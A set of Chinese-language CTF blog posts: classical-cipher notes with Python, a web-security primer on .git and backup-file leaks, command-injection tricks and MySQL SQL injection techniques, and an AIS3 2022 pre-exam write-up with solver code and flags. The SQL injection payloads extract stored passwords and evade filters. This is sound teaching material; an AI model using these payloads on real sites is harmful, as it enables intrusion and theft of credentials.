Brainfuck是一種極小化的程式語言，由Urban Müller在1993年創造。其目標是建立一種簡單的、可以用最小的編譯器來實現的、符合圖靈完全思想的程式語言。這個語言由八種運算子構成，它的名字也意味著想要直接讀懂它是極度困難的，即使它是一個圖靈完備的語言。八種運算子意義如下所示：
但在同時也有些題目會將其他語言的程式包裝成BrainFuck來讓解題者解，因此將它歸類在此處，通常只要編譯它產生輸出即可。
Compile Tools
Brainfuck Compiler
JSFuck
JSFuck是一種深奧的JavaScript程式設計風格，靈感來自於BrainFuck，使用六種字元完成程式。基本上不需要另外的編譯器或直譯器來執行，無論瀏覽器或JavaScript引擎中的原生JavaScript直譯器皆可直接執行。鑑於JavaScript是弱型別語言，編寫者可以用數量有限的字元重寫JavaScript中的所有功能，且可以用這種方式執行任何類型的表達式。詳見此頁面
Compile Tools
基本上不需要，瀏覽器的Console即可執行。
aaencode/jjencode
這兩種encode都是針對JavaScript的轉換方式，與JSFuck相近。aaencode會將JavaScript轉換為表情符號，而jjencode會將它轉換成類似$_$等風格的字串。兩者皆可轉為JavaScript，但JavaScript無法轉回。
Compile Tools
aaencode compiler
jjencode compiler
統整
編碼的內容其實五花八門，要完全認識世界上每一種編碼幾乎是不可能的，但比賽時只要能夠有通靈+查詢能力就不太需要擔心解不出來囉～
Classical Cipher
進入了古典密碼學的部分，就必須談到密碼學的兩大分類：對稱式加密(Symmetric Encryption)與非對稱式加密(Asymmetric Encryption)。對稱式加密意味著在加密與解密時所使用的密鑰(key)完全相同，無須經過任何轉換即可用以解密。
而非對稱式加密則是分為公鑰(public key)與私鑰(private key)，加密者使用公鑰加密後，傳遞到另一方必須以私鑰才能解密，且有一個重要前提：私鑰可以推導出公鑰，但公鑰推導出私鑰極度困難。古典密碼的部分大多為對稱式加密，以下舉出常見的幾個密碼。
Caesar Cipher
凱撒密碼利用了線性映射(linear transformation)的原理，是一種替換加密技術，明文中的所有字母都在字母表上向後或向前，依照一個固定數目(offset)進行偏移後被替換成密文。這個加密方法是以羅馬共和時期凱撒大帝的名字命名的，據稱當年凱撒曾用此方法與其將軍們進行聯繫。現代的ROT13也以凱撒密碼作為實作基礎。
以下為凱撒密碼以數學式表示的加解密方法，$x$為資料內容，$n$為偏移量(offset)：
$E_n(x)=(x+n)$ $mod$ $26$
$D_n(x)=(x-n)$ $mod$ $26$
攻擊手法
暴力窮舉(brute force)
基於英文子母僅有26個字元，利用0~25間的offset必定存在正確解密結果。
詞頻分析(word frequency analysis)
利用對字元出現頻率的分析，找出解密最符合正常語言的文本。
攻擊工具
dcode.fr：可爆搜所有可能offset
CyberChef：ROT13可作為Caesar Cipher解密工具
quipqiup：強力詞頻分析工具
Python實作
1
2
3
4
5
6
7
8
9
10
11
12
def enc(raw, offset): # encode
    data = "".join([chr((ord(i)-65+offset)%26+65) for i in raw])
    return data

def dec(raw, offset): # decode
    data = "".join([chr((ord(i)-65-offset)%26+65) for i in raw])
    return data

raw = input().upper() # raw
offset = int(input()) # offset
print(enc(raw, offset))
print(dec(raw, offset))
Vigenère Cipher
維吉尼亞密碼基本上可以視為凱撒密碼的加強版，凱撒密碼使用單獨offset對明文進行加密，而維吉尼亞用來加密的key則是一個字串，利用加上每個字的offset來對字進行加密，若是key的長度小於明文則重複使用直到加密完成，稱為金鑰流。本質上也能被視為是一種替換式密碼(Substitution Cipher)，如下表所示。
攻擊手法
卡西斯基試驗(Kasiski examination)
這是第一個被提出破解維吉尼亞的方法，早期的解決方案都是透過對於明文的認識、或者使用可識別的詞語作為密鑰，但卡西斯基試驗不需要任何限制。基本的概念如下：
卡西斯基試驗是基於常用單詞，如the、some等，有可能被同樣的密鑰字母進行加密，而在密文中重複出現相同子字串。此時便能以重複出現長度之因數推測出密鑰可能的長度，而若有多個此類子字串，則能夠以最小公因數獲得密鑰的長度。通常文本越長的資料越容易被卡西斯基試驗攻破(越容易重複使用密鑰加密相同字串)。
弗里德曼試驗(Friedman examination)
弗里德曼試驗於1920年代發明，這項試驗使用了重合指數(index of coincidence)來描述密文字母頻率的不勻性，從而破譯密碼。
$\kappa_p$指目標語言中兩個任意字母相同的概率(英文為$0.067$)，$\kappa_r$指字母表中這種情況出現的概率(英文中為$\frac{1}{26}=0.0385$)，根據弗里德曼試驗推導出的結果，密鑰長度可以被認定為$\frac{\kappa_p-\kappa_r}{\kappa_0-\kappa_r}$，$\kappa_0=\frac{\sum\limits_{i=1}^c{n_i(n_i-1)}}{N(N-1)}$，$c$是指字母表的長度(英文為$26$)，$N$指文本的長度，$n_1$到$n_c$是指密文的字母頻率，為整數。而這樣的試驗會隨著文本長度的增加而更為精確。
頻率分析
一旦能夠確定密鑰的長度，密文就能重新寫成多列，列數與密鑰長度對應。這樣每一列其實就是一個凱撒密碼，而此密碼的密鑰(偏移量)則對應於維吉尼亞密碼密鑰的相應字母。與破譯凱撒密碼類似的方法，就能將密文破譯。
維吉尼亞密碼事實上還有許多種變體，但也隨著時間漸漸被破譯了，這裡就不再贅述。
攻擊工具
CyberChef
cryptii：正規維吉尼亞密碼處理器
vigenere-solver：個人認為頗為強力的維吉尼亞密碼破譯工具
Python實作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def enc(raw, key):
    key_length = len(key)
    key_as_int = [ord(i) for i in key]
    raw_int = [ord(i) for i in raw]
    data = ''
    for i in range(len(raw_int)):
        value = (raw_int[i] + key_as_int[i % key_length]) % 26
        data += chr(value + 65)
    return data


def dec(raw, key):
    key_length = len(key)
    key_as_int = [ord(i) for i in key]
    raw_int = [ord(i) for i in raw]
    data = ''
    for i in range(len(raw)):
        value = (raw_int[i] - key_as_int[i % key_length]) % 26
        data += chr(value + 65)
    return data

raw = input().upper() # raw
key = input().upper() # key
print(enc(raw, key))
print(dec(raw, key))
Rail Fence Cipher
鐵路柵欄密碼是一種經典的換位密碼。它的名字來自其加密的執行方式，類似於用水平欄杆建造的柵欄。如下所示：
plaintext = "M3t30r loves cryptography" (空白忽略)
Rails = 4
1
2
3
4
Rail 1： M.....l.....r.....r....
Rail 2： .3...r.o...c.y...g.a...
Rail 3： ..t.0...v.s...p.o...p.y
Rail 4： ...3.....e.....t.....h.
ciphertext = "Mlrr 3rocyga t0vspopy 3eth"
攻擊手法
只要知道柵欄的數目便能輕鬆解密原先內容(僅為換位)
攻擊工具
dcode.fr：可協助暴力搜尋柵欄數目
Bacon Cipher
培根密碼是由法蘭西斯·培根發明的一種隱寫術。加密時，明文中的每個字母都會轉換成一組五個英文字母。其轉換依靠下表，本質上是利用A、B取代index二進位中的0、1：
攻擊工具
dcode.fr
Pigpen Cipher
豬圈密碼基本上是一種以格子為基礎的簡易替換密碼，對應的圖示如下所示：
攻擊手法
只要依據圖示逆回明文即可，十分簡單暴力
Affine Cipher
仿射密碼是將明文中字母對應成數字後，進行運算加密再對應回密文的一種模式，基本上運算式如下：
$E_n(x)=ax+b$ $mod$ $m$
$D_n(x)=a^{-1}(x-b)$ $mod$ $m$，$a^{-1}=invese(a)$(僅在$(a,m)=1$時存在)
而這種加密的轉換方式同樣被使用於線性同餘方法(LCG)，為偽隨機數生成器中的一種，稍後的文章中會提及它的攻擊手法，這裡就先稍稍帶過。
攻擊手法
若可發現加密文件兩字元之原文，則關鍵值可透過解一方程組得到(二元一次方程組)。由於我們知道$a$及$m$互質，這個事實可被用於快速破解密碼。
Others
對稱式加密的種類包羅萬象，未提及的還有包含Playfair Cipher、Dancing man、Braille等(詭異)的加密方法，但基本上在CTF競賽中通常都會出現代密碼，畢竟解密的步驟較為複雜，有時甚至需要跳脫性的思考，因此會考的古典密碼幾乎不存在，或是會出成很冷門的通靈題，出現的話通常靠的不會是大量的知識點，而是搜尋與通靈的能力，讀者若有興趣能夠自行再參閱相關的文章喔!


CTF系列-Web網路安全基礎I
2023-01-24T13:50:08.000Z
先前高中一直沒有整理CTF相關的內容，決定將第一篇的整理留給入門曲線最和善的Web了XD在所有的CTF題目種類當中，Web時常被定義為容易入門的項目，但相對其他種類來說，它的變化也相當繁複，通常一道題中會夾雜非常多知識點(或通靈能力?)，因此需要透過全盤的接觸才能慢慢掌握到Web題目的解題策略。這篇裡面會整理一些常見的Web基礎攻擊技巧與SQL Injection，同時會推薦一些適合的工具，歡迎各位來訊說明或補充筆者不足的部分喔!🥳
Tricks
首先是一些相對雜亂的小技法，如目錄洩漏、Payload建構等，這些小地方雖然雜且少，但在Web的競賽中有時會扮演決定性的角色，因此不可小看這些看似微不足道的技巧喔!
Git
Git是目前非常廣為使用的一項去中心化版本控制系統(DRCS)，但在架設網站時，若開發者沒有注意.git/資料夾存在在網站上，很可能導致攻擊者能夠從資料夾中直接獲取網站開發的原始碼，進而發現網站弱點進行攻擊。
注意!.git/資料夾無存取權(403)並不代表檔案無法被攻擊者透過工具取得(因資料夾存在)
常用工具
Scrabble：存取並基本還原.git/資料夾到本機
GitHacker.py：幾乎可完整還原.git/資料夾中所有資料
Git：一般git工具
攻擊手法
直接存取.git/資料夾挖掘漏洞
簡單暴力，直接clone資料夾尋找漏洞檔案，屬於較一般的git漏洞挖掘
透過git指令存取分支(branches)
git在進行版本修改時能夠存在多個分支，敏感檔案可能不存在於當前分支下，此時可透過此方法切換分支來存取不同分支下的檔案。
常用指令如下:
1
2
3
4
5
git log --all //觀察資料夾曾經修改了哪些項目
git branch -v //印出分支與分支的所有commit
git checkout  //切換到分支
ls -al
cat 
透過git指令回溯檔案更改內容
若是敏感檔案內容曾經在某次commit中出現，但其後被更改或刪除，此時可透過此方法來還原檔案的原先內容。
常用指令如下:
1
2
3
4
5
git reset --hard HEAD^ //HEAD為目前版本，HEAD^表示切換到上一版本
git log --all //觀察資料夾曾經修改了哪些項目
git diff HEAD  //列出版本與當前版本的差別
ls -al
cat 
目錄爆破
簡單而言是利用一些常見檔案名稱作為字典檔進行網站目錄暴力搜索，列出可存取的一些目錄以供攻擊者存取，尋找漏洞。
常用工具
dirsearch：搜索常見檔案目錄工具
備份檔案洩漏
備份檔案洩漏的發生，常常是因為開發者在更改網站資料時所遺留在目錄中的備份檔案遭到攻擊者惡意存取，導致重要的原始碼或資料外洩導致，常見的種類有gedit、vim等文字編輯器的備份檔案，以及一些常見的經典檔案，如robots.txt等。
常用工具
ds_store_exp.py：還原.DS_Store中紀錄的檔案路徑並存取到本機
攻擊手法
vim：..swp ..swo ..swn
vim回復檔案方法：vim -r (當前目錄下有備份檔)
gedit：~
robots.txt、.DS_Store、.htaccess、readme.md、www.zip/.rar/.tar.gz
Payload Tricks
這裡是一些建構Payload的小技巧，若是在建構時發現被阻擋了某些條件，不妨試試這裡所整理的小技巧吧!
*：代表任意數個字串
?：代表任意一個字串
 && ：執行完畢接續執行
 || ：無論有無執行，完畢後接續執行
 & ：丟入背景執行完畢接續執行
 | ：pipe管線指令，將的輸出做為的輸入執行
跳脫字元：\a、\b等，不等同於a、b
特殊字元：\n(若單行限制可以此換行用)、\r、\t
空白字元：除%20外，可嘗試%09、%0a、%0c等(黑名單可試)
``：等同system('')、$()(某些情況)(黑名單可試)
後端攻擊
有時透過不同的伺服器支持系統，如apache、nginx等，會發展出不同的漏洞方式，通常是針對同一種資料做出不同解讀所導致的漏洞繞過，如LFI等攻擊，這些漏洞會留待後日介紹到相關內容後再一併介紹。
SQL Injection
SQL Injection是針對SQL database所發展出的一種攻擊模式，基於開發者過濾SQL表達式的不嚴謹，攻擊者能夠透過各種方式擾亂SQL表達式來執行惡意指令，從資料庫中讀取敏感內容。在此以CTF競賽中最常出現的MySQL作為說明。筆者在此預設讀者已經能夠讀懂SQL語法，若不熟悉者可參考此教學。
取得資料庫內部名稱
在一般的情況下，除非取得原始碼或其他資料，否則我們並不會知道開發者所使用的資料庫中名稱為何，因此在開始注入前，我們需要透過一些方法來得到資料庫中表名及欄位名稱。最簡單的方法可以透過MySQL 5.0後開始支援的預設資料庫information_schema從中查詢，假設以下方數字植入的部分作為範例，我們可以透過以下表達式來獲取這個資料庫中的所有表名：
1
SELECT title, content FROM NYCU_POST WHERE id=-1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
其中，group_concat函數會將所有回傳的內容以,連接成一個字串，而information_schema.tables即是在取得所有的表名，最後table_schema所存取的參數是欲查詢的名稱，database()則會回傳當前的資料庫名稱。
同理，當我們已知表名，欲獲取所有NYCU_USER的欄位名稱時，表達式如下：
1
SELECT title, content FROM NYCU_POST WHERE id=-1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema='NYCU_USER'
UNION植入
表達式範例：
1
SELECT title, content FROM NYCU_POST WHERE id=".$_GET['id']
猜測方式：輸入算式可執行
詳解：
若我們將id設為3-2，SQL將會回傳id=1的內容給使用者，是典型的數字植入表達式，漏洞是基於id在加入表達式之前沒有經過任何轉換就直接拼接。
此時，我們可以透過UNION表達式，利用聯集查詢注入來繞過這個漏洞。若是我們將id設為1 UNION SELECT user, passwd FROM NYCU_USER，整個表達式就會變成"SELECT title, content FROM NYCU_POST WHERE id=1 UNION SELECT user, passwd FROM NYCU_USER"，因此在顯示id=1的內容同時，也會印出所有在NYCU_USER裡面的使用者與密碼。
注意!若是印出時有行數限制，可搭配LIMIT條件限定關鍵字使用。
LIMIT 2,1：取查詢結果第2筆之後的1筆紀錄
LIMIT 1,2：取查詢結果第1筆之後的2筆紀錄
P.S.也可以將id設為-1，這樣id查詢不到之後，就會直接印出NYCU_USER的內容囉!
Boolean植入
表達式範例：
1
SELECT title, content FROM NYCU_POST WHERE id='".$_GET['id']."'"
猜測方式：輸入數字與其他字元(強迫轉換為0)字串拼接可執行
詳解：
若我們將id設為3-2，此次將不再像上面的範例能夠顯示id=1的內容，但當我們將輸入改為3M時，其將會回傳id=3的內容，因為非數字的字元被強制轉換為0。基於表達式的單引號可閉合，這個範例也能夠搭配註解#阻斷，利用上述的UNION植入來獲取資料，但我們這次嘗試不同的植入方式，布林植入。
布林植入簡單而言就是利用表達式回傳的正確與否來判斷資料庫中取得的內容，常見使用substring()、mid()等函式來取得字串位置。如若我們要取得NYCU_USER的使用者名稱與密碼，可使用下列表達式：
1
SELECT title, content FROM NYCU_POST WHERE id='1' AND (SELECT mid((SELECT concat(user, 0x7e, passwd) FROM NYCU_USER),1,1))='a'#
concat函式會將所有的參數連接成一個字串，0x7e代表~，而mid(,1,1)則會從中第1個位置開始取1位，本判斷式會判斷第一位是否為a，若AND後判斷式為假，則AND結果為假，即不會輸出id=1的內容，可以此來一位一位判斷資料內容，得到完整的資訊。
Tips：若是植入過程過於冗長，可考慮使用>'a'等語句進行二分搜，可加快尋找字元的效率喔!
時間盲注
某些題目的SQL查詢結果並不會出現在可見的頁面上，此時我們就只能透過sleep()函數製造時間延遲來決定判斷式的真假。此以第一種範例，無引號SQL表達式作為說明：
1
SELECT title, content FROM NYCU_POST WHERE id=".$_GET['id']
表達式相同，唯一的差別為不會印出在葉面上，此時我們利用IF()判斷式來構造判斷式：
1
SELECT title, content FROM NYCU_POST WHERE id=1 AND 1=IF(mid((SELECT concat(user, 0x7e, passwd) FROM NYCU_USER),1,1)='a', sleep(5), 1)"
IF()判斷式會將第一項參數設為條件式，若其為真則執行第二個參數，否則執行第三個參數，在這裡若是我們拼接出的參數第一位為a，則頁面會暫停五秒，否則會正常運行。
顯示錯誤植入
表達式範例：
1
("SELECT title, content FROM NYCU_POST WHERE id=".$_GET['id']) OR VAR_DUMP(mysqli_error($<conn>))
猜測方式：輸入錯誤表達式會導致輸出錯誤訊息
詳解：
這種會輸出錯誤訊息的利用方式，是利用mysqli_error()會將前方錯誤語句執行後加入VAR_DUMP()輸出所導致。此時我們可以透過updatexml()製造錯誤，正常而言其第二個參數應為合法XPATH路徑，否則會進入錯誤訊息連帶輸出第二個參數的執行訊息。構造表達式如下所示：
1
("SELECT title, content FROM NYCU_POST WHERE id='1' OR updatexml(1,concat(0x7e, (SELECT passwd FROM NYCU_USER)),1)") OR VAR_DUMP(mysqli_error($<conn>))
基於SELECT passwd FROM NYCU_USER回傳值非正規XPATH路徑，畫面顯示錯誤訊息連帶輸出concat(0x7e, (SELECT passwd FROM NYCU_USER))的執行結果。
Tips：植入方式嘗試優先序：UNION > 顯示錯誤 > Boolean > 時間盲注
特殊限制繞過
replace()替換replace('SELECT','')：SELSELECTECT可繞過
replace(' ','')：透過URLencode，%20外另有%09、%0a-%0d可用
透過特殊代換，如空註解/**/、空括號()皆會替換成空白
Blacklist大小寫替換：SELECT、sELecT功能相同，黑名單判斷不同
Regex繞過：\bSELECT\b可利用/*!50000SELECT*/繞過
其餘可參考此cheatsheet
\未跳脫為\\直接在'、"前輸入\可將其跳脫為字串一部份
範例：SELECT * FROM NYCU WHERE user='' AND title=''
 = M3t30r\、 = OR SLEEP(5)#
SELECT * FROM NYCU WHERE user='M3t30r\' AND title='OR SLEEP(5)#'
'M3t30r\' AND title='變為user參數，系統執行暫停5秒，可攻擊
引號逃逸輸入者可控點遺漏限制：輸入漏洞
base64、URL等編碼完成後直接執行表達式，未進行addslashes()(php)：可任意閉合引號
二次注入：開發者認定從資料庫中取得的資訊皆無害
利用INSERT關鍵字將資料存入資料庫，再從資料庫中取出執行導致漏洞
範例：資料庫中存有使用者M3t30r之名稱與密碼
使用者先輸入M3t30r'or'1作為名稱，基於安全，開發者會自動將'跳脫，變為M3t30r\'or\'1
表達式：INSERT INTO NYCU_USER VALUES(2, 'M3t30r\'or\'1','fake_password')
資料庫中存在M3t30r與M3t30r'or'1兩位使用者
當資料庫執行SELECT * FROM NYCU_USER WHERE user=''取得密碼時，處理M3t30r'or'1使用者時會變成SELECT * FROM NYCU_USER WHERE user='M3t30r'or'1'(在資料庫內部不會處理跳脫)，直接取得M3t30r之密碼，攻擊成功
字串截斷：限制使用者可用的字串長度，則可利用多餘字串截斷的方式，單獨取得\做為輸入，成功跳脫
統整
SQL Injection的主要重點在於判斷SQL表達式的漏洞位置與寫法以構造合適的攻擊語句，從上述的幾個技巧中幾乎可以完成75%以上的基本SQL Injection題目，但在現實上，若是成功打進伺服器獲得高層權限，除了可能可以埋進木馬等惡意檔案進行攻擊，也可以控制整個資料庫，使用load_file()(但需要繁複權限設定)或LOAD DATA LOCAL INFILE語法(很少有機會執行完整指令，除了SELECT/UPDATE/INSERT之外)獲取與控制資料，甚至是直接執行伺服器系統指令，造成資料外洩，因此使用SQL資料庫時，務必做好各種必要的防護措施，避免惡意攻擊使資料庫資料流出。


2022 AIS3 Pre-exam Write Up
2022-06-11T08:40:08.000Z
今年是我第二年參加 AIS3 的 Pre-Exam，有了去年的經驗今年打起來相對順手不少，但還是希望能夠繼續進步～去年很多解不出來或解很久的類別今年也打得相對比較好，希望之後能夠拿到更好的名次!(今年因為高三要考試ㄌ QQ 沒有花太多時間打，明年要繼續精進!)
AIS3 官方網站
Welcome
Welcome [100]
Discord ++
嗯對，真的就 Welcome，比賽時間還沒開始就在 AIS3 Discord#general上的釘選了:P
P.S.之前被騙太多次一開始以為這是假 flag:P
FLAG:AIS3{WTF did I just see the FLAG before CTF starts?}
Crypto
SC [100] [baby]
SC? SuperChat?
Author: maple3142
file: https://drive.google.com/file/d/1EGbG7XymDej546FAN_gJbUoNkSjnYbd3/view?usp=sharing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import string
import random


def shuffle(x):
    x = list(x)
    random.shuffle(x)
    return x


def encrypt(T, file):
    with open(file) as f:
        pt = f.read()
    with open(f"{file}.enc", "w") as f:
        f.write(pt.translate(T))


charset = string.ascii_lowercase + string.ascii_uppercase + string.digits
shuffled = "".join(shuffle(charset))
T = str.maketrans(charset, shuffled)

encrypt(T, "flag.txt")
encrypt(T, __file__)

"""
Substitution cipher
From Wikipedia, the free encyclopedia
Jump to navigationJump to search

This article needs additional citations for verification. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed.
Find sources: "Substitution cipher" – news · newspapers · books · scholar · JSTOR (March 2009) (Learn how and when to remove this template message)
In cryptography, a substitution cipher is a method of encrypting in which units of plaintext are replaced with the ciphertext, in a defined manner, with the help of a key; the "units" may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing the inverse substitution process to extract the original message.

Substitution ciphers can be compared with transposition ciphers. In a transposition cipher, the units of the plaintext are rearranged in a different and usually quite complex order, but the units themselves are left unchanged. By contrast, in a substitution cipher, the units of the plaintext are retained in the same sequence in the ciphertext, but the units themselves are altered.

There are a number of different types of substitution cipher. If the cipher operates on single letters, it is termed a simple substitution cipher; a cipher that operates on larger groups of letters is termed polygraphic. A monoalphabetic cipher uses fixed substitution over the entire message, whereas a polyalphabetic cipher uses a number of substitutions at different positions in the message, where a unit from the plaintext is mapped to one of several possibilities in the ciphertext and vice versa.


Contents
1Simple substitution
1.1Security for simple substitution ciphers
2Nomenclator
3Homophonic substitution
4Polyalphabetic substitution
5Polygraphic substitution
6Mechanical substitution ciphers
7The one-time pad
8Substitution in modern cryptography
9Substitution ciphers in popular culture
10See also
11References
12External links
"""

題目給了一個cipher.py、加密過的cipher.py.enc與加密過的flag.txt.enc，經過觀察兩個 python 檔的內容後，可以發現本題是 Substitution cipher(人家都直接寫給你看ㄌ w)，因此可以手動將cipher.py與cipher.py.enc對應一一對應字母後推出flag.txt.enc的 flag 內容。
當然我們也可以寫 code 來解決它><開一個 python 的 dictionary 來進行一一對應:
1
2
3
4
5
6
7
8
9
10
11
waku = open("cipher.py",'r').read()
wakuwaku = open("cipher.py.enc",'r').read()

sc = {}
for i in range(len(waku)):
    sc[wakuwaku[i]] = waku[i]

wakuwakuwaku = open('flag.txt.enc','r').read()
for i in wakuwakuwaku:
    print(sc[i],end='')
#AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}
FLAG:AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}
Fast Cipher [100] [baby]

Author: maple3142
file: https://drive.google.com/file/d/1bkwIfXNl9e3AaoltnvFGb0VEvOTMtd2D/view?usp=sharing
這題內容是一個加密用cipher.py與其output.txt，來看看 source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from secrets import randbelow

M = 2**1024

def f(x):
    # this is a *fast* function
    return (
        4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
    ) % M


def encrypt(pt, key):
    ct = []
    for c in pt:
        ct.append(c ^ (key & 0xFF))
        key = f(key)
    return bytes(ct)


if __name__ == "__main__":
    key = randbelow(M)
    ct = encrypt(open("flag.txt", "rb").read().strip(), key)
    print(ct.hex())
可以發現他不斷將key迭代到f(x)裡面後再與原始 flag 進行 xor，得到加密後的 output。
此時觀察 encrypt function，它在取key時用了&0xff，表示只取key的最後兩位進行 xor 運算，透過 flag formatAIS3{…}可以推出第一個key為0x6c^65=0x2d，接著觀察 f(x)，它代入一個多項式後再%$2^{1024}$=0x100…00，迭代效率很低，但因為只取最後兩位，且%之尾數為0表示不影響最後兩位結果，所以可以直接代入多項式後取最後兩位 xor。
寫 code 即可解出 flag:
1
2
3
4
5
6
7
8
9
10
11
12
key=[0x2d]

ff=[0x6c,0x0e,0xc8,0x40,0xf8,0x8d,0x4c,0xd7,0xfc,0xc6,0xd5,0xc6,0xd1,0xda,0xfc,0xc1,0xca,0xd7,0xd0,0xfc,0xc2,0xd1,0xc6,0xfc,0xd6,0xd0,0xc6,0xc7,0xfc,0xcf,0xcc,0xcf,0xde]

def f(x):
    return (
        4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
    ) & 0xff

for i in range(0,50):
    print(chr(key[i]^ff[i]),end='')
    key.append(f(key[i]))
FLAG:AIS3{not_every_bits_are_used_lol}
Misc
Excel [100] [baby]
Don’t worry, this is not a real virus…
Author: lys0829
file: https://drive.google.com/file/d/12dOYZhOIgCRudHczsikOUBUPZFyP8nrJ/view?usp=sharing
這題單純給了一個.xlsm 檔，使用 Microsoft Office 文件檢查功能之後可以發現有隱藏工作表，因此全部展開，發現isFki裡面有一串公式，將 excel 轉換字體顏色後發現執行為TRUE，將外圍 FORMULA 去掉後關掉顯示公式查看公式內容即可得到 flag。
FLAG:AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}
Gift in the dream [100] [medium]
Someone send you his dream. Maybe he is trying to tell you a message.
update 1: flag 在l33t前是通順的句子。
update 2: Fixed typo in flag, please download the updated version
Author: bronson113
file: https://drive.google.com/file/d/1OOF36yj53MSXs2-Z-5x1dJivlz25UoLY/view?usp=sharing
這題是一個 gif 檔，一開始用了不少工具分析，其中使用 strings 指令的結果發現裡面提示到why is the animation lagging? why is the duration so weird? is this just a dream?的部分，因此開始往這個方向走，上網查到了gif duration tool，切開後發現其毫秒時間間隔不一且形同ASCII code(去掉尾 0)，將其解密後即可得到正確的 flag。
P.S.一開始用了一個爛掉的工具得到錯誤的 flag…
FLAG:AIS3{5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe}
Reverse
Time Management [100] [baby]
Solution 1
Free flag for you : )
Author: artis24106
file: https://drive.google.com/file/d/11_Q8SqsPWEm67iAc2Xbpjvi4tK-Q0Fcn/view?usp=sharing
這題給了一個 binary，用 IDA Pro 開啟分析main function可以發現它將指定位置4*(i+1)(此位置為 flag 每四位 hex number 的後一位數字)的key與secret每位 xor 後用 for 迴圈輸出，所以這部分可以手動處理 xor 後即可得到 flag。
我們也可以寫 code 來解決他，首先在 IDA Pro 裡shift+E提出key跟secret陣列，接著一一 xor 即可(但要記得把陣列位置算好.w.)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include
using namespace std;

int secret[100]={
   70,  65,  75,  69,  11,   0,   0,   0, 123, 104,
  111, 111,  10,   0,   0,   0, 114,  97, 121,  95,
    2,   0,   0,   0, 115, 116, 114, 105,   8,   0,
    0,   0, 110, 103, 115,  95,   6,   0,   0,   0,
  105, 115,  95,  97,   5,   0,   0,   0, 108, 119,
   97, 121,   7,   0,   0,   0, 115,  95,  97, 110,
    4,   0,   0,   0,  95, 117, 115, 101,   9,   0,
    0,   0, 102, 117, 108,  95,   0,   0,   0,   0,
   99, 111, 109, 109,   1,   0,   0,   0,  97, 110,
  100, 125,   3,   0,   0,   0
};
int key[50]={
    1,  16,   1,  58,  13,  27,  76,  76,  45,   0,
   11,  58,  64,  79,  69,   0,  26,  50,   4,  49,
   29,  22,  45,  62,  49,  10,  18,  44,   3,  17,
   62,  13,  44,   0,  26,  12,  50,  20,  29,   4,
    0,  49,   0,  26,   7,   8,  24, 118
};

int main(){
for(int i=0;i<96;i+=8){
int v1=secret[i+4]*4;
for(int j=0;j<4;j++){
cout<<char(secret[i+j]^key[v1+j]);
}
}
return 0;
}
//AIS3{You_are_the_master_of_time_management!!!!!}
FLAG:AIS3{You_are_the_master_of_time_manangement!!!!!}
Solution 2
這題也可以用 patch program 的方法解決，它印不出 flag 的主要原因是main function中的sleep(0x8763)間隔過久，所以我們只要把sleep的時間 patch 成0即可，這裡注意一下最後的輸出部分，\r會把游標移到最前方並將所有先前輸出洗掉，因此這裡也要 patch，完成後覆寫掉原檔案執行即可得到 flag。
Calculator [301] [easy][.NET]
I built a simple calculator, although it has a lot of bugs :P
Author: LJP-TW
file: https://drive.google.com/file/d/1lKgN9AtkAT55lgY8qeJJP9L9awhOKAD4/view?usp=sharing
這題應該可以算是去年的考古題，也是 .NET 的題目，我一樣使用 dnSpy 來分析它，calculator.exe的部分沒有發現甚麼除了計算機之外的其他功能，在extentions的部分發現了四個可疑的.dll檔(AIS3.dll、AIS33.dll、AIS333.dll、AIS3333.dll)，打開看發現裡面應該是輸出 flag 的條件，只有一些 xor 跟特殊位置的個別限制，也是使用手動的方法把 flag 打出來即可。
1
2
3
4
5
6
INDEX   0123456789012345678901234567890123456789012345
AIS3    AIS3{          A                             }
AIS33       {D                                    G_G}
AIS333       D0T_N3T_FRAm3W0rk                  __
AIS3333                      k_15_S0_C0mPlicaT3d
        AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}
FLAG:AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}
殼 [463] [easy]

Author: artis24106
file: https://drive.google.com/file/d/1C_Q7RbdQufeyZyOMNG2eQ9w4vd4o--1l/view?usp=sharing
這題給了一個不知名的.wy檔，上網查了一下是文言文編程語言，利用github 上的工具wenyan --compile 殼.wy可將其轉換為較易讀(?)的 javascript。剩下的部分就是讀懂 code 內容了 😵。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
